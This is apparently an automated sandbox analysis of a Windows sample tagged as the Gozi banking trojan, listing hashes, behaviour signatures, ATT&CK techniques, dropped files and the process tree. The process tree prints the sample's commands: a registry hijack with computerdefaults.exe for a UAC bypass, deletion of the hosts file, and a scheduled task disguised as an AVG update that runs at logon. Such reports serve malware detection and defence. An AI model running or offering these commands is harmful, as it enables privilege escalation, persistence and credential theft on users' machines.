Analysis

  • max time kernel
    150s
  • max time network
    119s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    30-05-2024 21:50

General

  • Target

    easfawefawfas.exe

  • Size

    12KB

  • MD5

    2813b6e3ed4bd6b14c53e3dffcdff21d

  • SHA1

    5ac7c7a3dadde70f94810c608a2eb275f14b7bde

  • SHA256

    866c0294731f195b0b9efa4f9b7cac352e8de5121f63a458a75efed3a625d24a

  • SHA512

    ff2454992a5fbe5c8cfab149ebd5edaa089ab4f25b88a47c5da0348575a72f1de372c8e762f74f284070a7a2e1209202ca755b4c08dd99799ac5bb9a598e0a24

  • SSDEEP

    192:LsNqFnJvOXdub8t6QP+TXVKTl1hAKje2Ecp0Gun8JZcxZQF:LsNvuI6QIKTHhA8rt0nnicxo

Malware Config

Extracted

Family

gozi

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3296
      • C:\Users\Admin\AppData\Local\Temp\easfawefawfas.exe
        "C:\Users\Admin\AppData\Local\Temp\easfawefawfas.exe"
        2⤵
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1064
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\consoleitaly1826.vbs" /f
          3⤵
          • Modifies registry class
          PID:2792
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /d "0" /f
          3⤵
          • Modifies registry class
          PID:4472
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /C computerdefaults.exe
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1288
          • C:\Windows\SysWOW64\ComputerDefaults.exe
            computerdefaults.exe
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1384
            • C:\Windows\SysWOW64\wscript.exe
              "wscript.exe" C:\Users\Admin\AppData\Local\Temp\consoleitaly1826.vbs
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3356
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C del C:\Windows\System32\drivers\etc\hosts
                6⤵
                  PID:3824
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C schtasks /Create /SC ONLOGON /TN AVGUpdateService_gKwwuP9Gdga87vtVr050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Ringtones\gKwwuP9Gdga87vtVr050MX.exe" /RL HIGHEST /IT
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3124
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Create /SC ONLOGON /TN AVGUpdateService_gKwwuP9Gdga87vtVr050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Ringtones\gKwwuP9Gdga87vtVr050MX.exe" /RL HIGHEST /IT
              4⤵
              • Creates scheduled task(s)
              PID:1984
          • C:\Users\Admin\AppData\Local\Temp\otsc5k4y.exe
            "C:\Users\Admin\AppData\Local\Temp\otsc5k4y.exe" explorer.exe
            3⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:5008

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Execution

      Scheduled Task/Job

      1
      T1053

      Persistence

      Scheduled Task/Job

      1
      T1053

      Privilege Escalation

      Scheduled Task/Job

      1
      T1053

      Credential Access

      Unsecured Credentials

      1
      T1552

      Credentials In Files

      1
      T1552.001

      Discovery

      System Information Discovery

      1
      T1082

      Collection

      Data from Local System

      1
      T1005

      Command and Control

      Web Service

      1
      T1102

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\475dec9af60c42c889338a18760bd609
        Filesize

        8KB

        MD5

        d0b962188ac2dcb6f4805dd46b48fdd8

        SHA1

        5e412714880f42dd8bc7350098ecf1534c6c0c92

        SHA256

        825afd7879f488f2940713b9ed11007ce2c1e7c4c2150d11f8e7580f96763910

        SHA512

        bca9fc67ffeaf90002d44d9746825f89b60d9ba6b4a1a4f4d8171f0fe7bb9776a76d4b95e44442dba0b81af67587db63d4eddf9f97b03804a90940b3436b5e8b

      • C:\Users\Admin\AppData\Local\Temp\Costura\40BD99E3E2E3C109881E4ECA2DEDC617\32\sqlite.interop.dll
        Filesize

        1.4MB

        MD5

        6f2fdecc48e7d72ca1eb7f17a97e59ad

        SHA1

        fcbc8c4403e5c8194ee69158d7e70ee7dbd4c056

        SHA256

        70e48ef5c14766f3601c97451b47859fddcbe7f237e1c5200cea8e7a7609d809

        SHA512

        fea98a3d6fff1497551dc6583dd92798dcac764070a350fd381e856105a6411c94effd4b189b7a32608ff610422b8dbd6d93393c5da99ee66d4569d45191dc8b

      • C:\Users\Admin\AppData\Local\Temp\ba59cab7b26646a18ba1b7b48ac4b3b7
        Filesize

        46KB

        MD5

        8f5942354d3809f865f9767eddf51314

        SHA1

        20be11c0d42fc0cef53931ea9152b55082d1a11e

        SHA256

        776ecf8411b1b0167bea724409ac9d3f8479973df223ecc6e60e3302b3b2b8ea

        SHA512

        fde8dfae8a862cf106b0cb55e02d73e4e4c0527c744c20886681245c8160287f722612a6de9d0046ed1156b1771229c8950b9ac036b39c988d75aa20b7bac218

      • C:\Users\Admin\AppData\Local\Temp\c2cb7b755e0b4b81b854efdbb0fd2caf
        Filesize

        130KB

        MD5

        09a70f0ec5558390771c25257c01489c

        SHA1

        5abea9a6906908bcf2ed3cf5bc1d0b789476137e

        SHA256

        d317f4d8aa385c149f703f89ef23fab105a16aadb91677a9ef32a32eb8285180

        SHA512

        7fa74669457bb2f7f758a0476f1b975e840a77db88c427df3d94e74f908387695f7e3b7ab3f959d16220fd4da2e636aac8318e2e4973d2b3a4a7f275e2380782

      • C:\Users\Admin\AppData\Local\Temp\consoleitaly1826.vbs
        Filesize

        171B

        MD5

        a34267102c21aff46aecc85598924544

        SHA1

        77268af47c6a4b9c6be7f7487b2c9b233d49d435

        SHA256

        eba7ab5c248e46dbe70470b41ebf25a378b4eff9ce632adff927ac1f95583d44

        SHA512

        5d320312b93b46c9051a20c82d6405a3f2c78b23adb3ab3e71aad854b65b500937de7ca2986cf79967386d689beecccf676d89afde8ecc5d5ad0cb4ae2bf38a3

      • C:\Users\Admin\AppData\Local\Temp\otsc5k4y.exe
        Filesize

        124KB

        MD5

        e898826598a138f86f2aa80c0830707a

        SHA1

        1e912a5671f7786cc077f83146a0484e5a78729c

        SHA256

        df443ccf551470b3f9f7d92faf51b3b85ae206dd08da3b6390ce9a6039b7253a

        SHA512

        6827068b8580822ded1fb8447bdb038d0e00633f5ef7f480a8cdeaab6928ac23022a0b7a925058e0926ce9b41a6c8c22a5692e074621b2fccdb7edd29a0d4cfb

      • C:\Users\Admin\AppData\Roaming\Gongle\aG0WIN9PZ2\CURRENT
        Filesize

        16B

        MD5

        46295cac801e5d4857d09837238a6394

        SHA1

        44e0fa1b517dbf802b18faf0785eeea6ac51594b

        SHA256

        0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

        SHA512

        8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

      • C:\Users\Admin\AppData\Roaming\Gongle\aG0WIN9PZ2\LOG
        Filesize

        332B

        MD5

        45fcb619e7a1cccca9a3eedb8378a097

        SHA1

        ca505e037332318b00a1eac5df8d64810ea24279

        SHA256

        6be3ae909bbf0bb37116e20b005613b2d1075d84e1b0a941bd90b394676e4c3a

        SHA512

        5e7839627dc432618a35861b5d0c20f43efb43e2770d79c511196f619b01d3b4fba2c554128d361a2a58f21e91e820fcd44164fed39c68c7e0224aa1f585d7d2

      • C:\Users\Admin\AppData\Roaming\Gongle\aG0WIN9PZ2\LOG.old
        Filesize

        289B

        MD5

        1867c531c2194b6d8868d826ac708879

        SHA1

        1aa60874d9bf990cf272ef059e0a3286ce43ee12

        SHA256

        10ef58a93e5693e72dc302f81d7f871787f881e1e2ac48c8adf96ad2997e9d8f

        SHA512

        f1dde9446df74af1df147702377424c9d4f08c56e1c6c744a09de8ef3b664027a013d106c0e3e28765c96576dbb8d8a7d95987d0ecc2870a1e15536f8cd1940a

      • C:\Users\Admin\AppData\Roaming\Gongle\aG0WIN9PZ2\MANIFEST-000001
        Filesize

        41B

        MD5

        5af87dfd673ba2115e2fcf5cfdb727ab

        SHA1

        d5b5bbf396dc291274584ef71f444f420b6056f1

        SHA256

        f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

        SHA512

        de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

      • C:\Users\Admin\AppData\Roaming\Gongle\aOL4IUGQZM\i8r4t3z8.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite
        Filesize

        48KB

        MD5

        263ac4a43a123400e28d11d4d36c19ca

        SHA1

        7d4aff9c964ab60b673dd2c7bf6596fb597ce324

        SHA256

        1be4ddee6bc6835c8e52938440cea912e13398becd5b23ce7a9b74301b65fc6b

        SHA512

        0a11c48fe7ef01c3f470bcc8720ba919a69231cd64b5b9e4ca783078fc7e99c10534300c35317de1c9d8529985243a4ed4e36b7958d89261fbc93e0599e1a92d

      • C:\Users\Admin\AppData\Roaming\Gongle\aVO9YBV5LG\LOG
        Filesize

        334B

        MD5

        eb1ef7722508010113d62f76d327ba2e

        SHA1

        9c77d887cf9b1233d65332e14732e3eed2b0e297

        SHA256

        ad3b146460f91226f13db225f57bf9af2bedbd51b7953757e44c74b9d8771106

        SHA512

        c5fc8964838b51e13062fa18e543d7865d7a8eda82b45c48c251815b1a838086d9d5667ec314ba858a687d4e93e2ced56b3d6c8ab84fa77ff2497183e6068c44

      • C:\Users\Admin\AppData\Roaming\Gongle\aVO9YBV5LG\LOG.old
        Filesize

        293B

        MD5

        2bbd94bf570b5ed200b7dbb96495a175

        SHA1

        4f16e02b22cf5473b04231cee0352a249bed3685

        SHA256

        57fdb5b94e571cfd226d9195f47b607307e7b4134bdede62526714b6895bcaa4

        SHA512

        8ed2f8fa6ebc190d45a660208c8fef1ef3e5088be09bb9abe5062bfd755390c9dbe026d1353eba7b31826a53a1aecf985de3cf381b78dc2aa55dfcc9efc20c42

      • memory/1064-82-0x0000000002CB0000-0x0000000002CBA000-memory.dmp
        Filesize

        40KB

      • memory/1064-5-0x0000000075150000-0x0000000075901000-memory.dmp
        Filesize

        7.7MB

      • memory/1064-1-0x00000000004A0000-0x00000000004AC000-memory.dmp
        Filesize

        48KB

      • memory/1064-200-0x000000000B1A0000-0x000000000B1AA000-memory.dmp
        Filesize

        40KB

      • memory/1064-2-0x0000000002DB0000-0x0000000002DCA000-memory.dmp
        Filesize

        104KB

      • memory/1064-3-0x0000000002DA0000-0x0000000002DAA000-memory.dmp
        Filesize

        40KB

      • memory/1064-39-0x0000000006D90000-0x0000000006DA2000-memory.dmp
        Filesize

        72KB

      • memory/1064-40-0x0000000006940000-0x00000000069A6000-memory.dmp
        Filesize

        408KB

      • memory/1064-13-0x0000000012F90000-0x0000000013C32000-memory.dmp
        Filesize

        12.6MB

      • memory/1064-0-0x000000007515E000-0x000000007515F000-memory.dmp
        Filesize

        4KB

      • memory/1064-83-0x0000000006DB0000-0x0000000006DBA000-memory.dmp
        Filesize

        40KB

      • memory/1064-98-0x000000000A470000-0x000000000A478000-memory.dmp
        Filesize

        32KB

      • memory/1064-97-0x0000000008E80000-0x0000000008E8C000-memory.dmp
        Filesize

        48KB

      • memory/1064-12-0x0000000075150000-0x0000000075901000-memory.dmp
        Filesize

        7.7MB

      • memory/1064-11-0x000000007515E000-0x000000007515F000-memory.dmp
        Filesize

        4KB

      • memory/1064-10-0x000000000B200000-0x000000000BE00000-memory.dmp
        Filesize

        12.0MB

      • memory/1064-6-0x0000000005AA0000-0x0000000006046000-memory.dmp
        Filesize

        5.6MB

      • memory/1064-185-0x000000000B110000-0x000000000B14C000-memory.dmp
        Filesize

        240KB

      • memory/1064-4-0x0000000005450000-0x00000000054E2000-memory.dmp
        Filesize

        584KB

      • memory/1064-174-0x000000000AD80000-0x000000000AE32000-memory.dmp
        Filesize

        712KB

      • memory/1064-175-0x000000000AE80000-0x000000000AEA2000-memory.dmp
        Filesize

        136KB

      • memory/1064-176-0x000000000AF30000-0x000000000AFA6000-memory.dmp
        Filesize

        472KB

      • memory/1064-177-0x000000000A580000-0x000000000A59E000-memory.dmp
        Filesize

        120KB

      • memory/1064-178-0x000000000AFB0000-0x000000000B000000-memory.dmp
        Filesize

        320KB

      • memory/1064-179-0x000000000B000000-0x000000000B06A000-memory.dmp
        Filesize

        424KB

      • memory/1064-180-0x0000000016280000-0x00000000165D7000-memory.dmp
        Filesize

        3.3MB

      • memory/1064-181-0x000000000B070000-0x000000000B0BC000-memory.dmp
        Filesize

        304KB

      • memory/1064-186-0x000000000B0D0000-0x000000000B0F1000-memory.dmp
        Filesize

        132KB

      • memory/3296-28-0x00000000014F0000-0x00000000014F8000-memory.dmp
        Filesize

        32KB

      • memory/3296-33-0x00000000014F0000-0x00000000014F8000-memory.dmp
        Filesize

        32KB

      • memory/3296-32-0x00000000014F0000-0x00000000014F8000-memory.dmp
        Filesize

        32KB

      • memory/3296-30-0x00000000014F0000-0x00000000014F8000-memory.dmp
        Filesize

        32KB

      • memory/3296-29-0x0000000001510000-0x0000000001511000-memory.dmp
        Filesize

        4KB